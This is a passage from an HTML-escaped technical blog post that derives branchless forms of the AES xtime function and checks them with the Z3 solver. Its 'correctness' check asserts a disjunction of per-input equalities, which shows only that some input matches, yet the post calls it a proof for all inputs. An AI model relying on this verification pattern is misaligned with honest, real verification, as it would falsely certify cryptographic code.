              &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;simplify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;xtime_broadcasted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ugly but once simplified with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;z3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;simplify&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime_broadcasted&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; seems to be quite simple: only bit picking and xor.&lt;/p&gt;
&lt;h2 id="one-last-hack"&gt;One last hack&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime_broadcasted&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; can be simplified further &lt;em&gt;canceling&lt;/em&gt; the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;elseval&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;thenval&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;elseval&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; because &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;thenval&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;elseval&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x1B&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;So &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;elseval&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;thenval&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;elseval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;condmask&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; reduces to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;elseval&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1B&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;condmask&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;xtime_cancelled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;elseval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;msb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;condmask&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;msb&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;# broadcast a single bit to 8 bits&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;elseval&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1B&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;condmask&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;xtime_cancelled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;
&lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;
&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                        &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                        &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
                                        &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
                                        &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
                                   &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
                            &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
                     &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
              &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;simplify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;xtime_cancelled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
       &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Note how &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;z3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;simplify&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was &lt;strong&gt;smart&lt;/strong&gt; enough to do the &lt;em&gt;cancellation&lt;/em&gt; automatically by itself: once simplified by Z3, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime_broadcasted&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime_cancelled&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are the same.&lt;/p&gt;
&lt;h2 id="correctness-of-xtime"&gt;Correctness of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Let’s verify that we didn’t screw up.&lt;/p&gt;
&lt;p&gt;The search space is only \(2^8\) so we can prove if the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime_X&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; works comparing it with the original &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;strong&gt;for all the possible inputs&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Solver&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Or&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BitVec&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BitVec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Solver&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;full_search&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;xtime_branch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Or&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;full_search&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;sat&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;full_search&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;xtime_branchless&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Or&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;full_search&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;sat&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;full_search&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;xtime_cancelled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Or&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;full_search&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;sat&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;full_search&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;xtime_broadcasted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Or&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;full_search&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;sat&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Everything is in order.&lt;/p&gt;
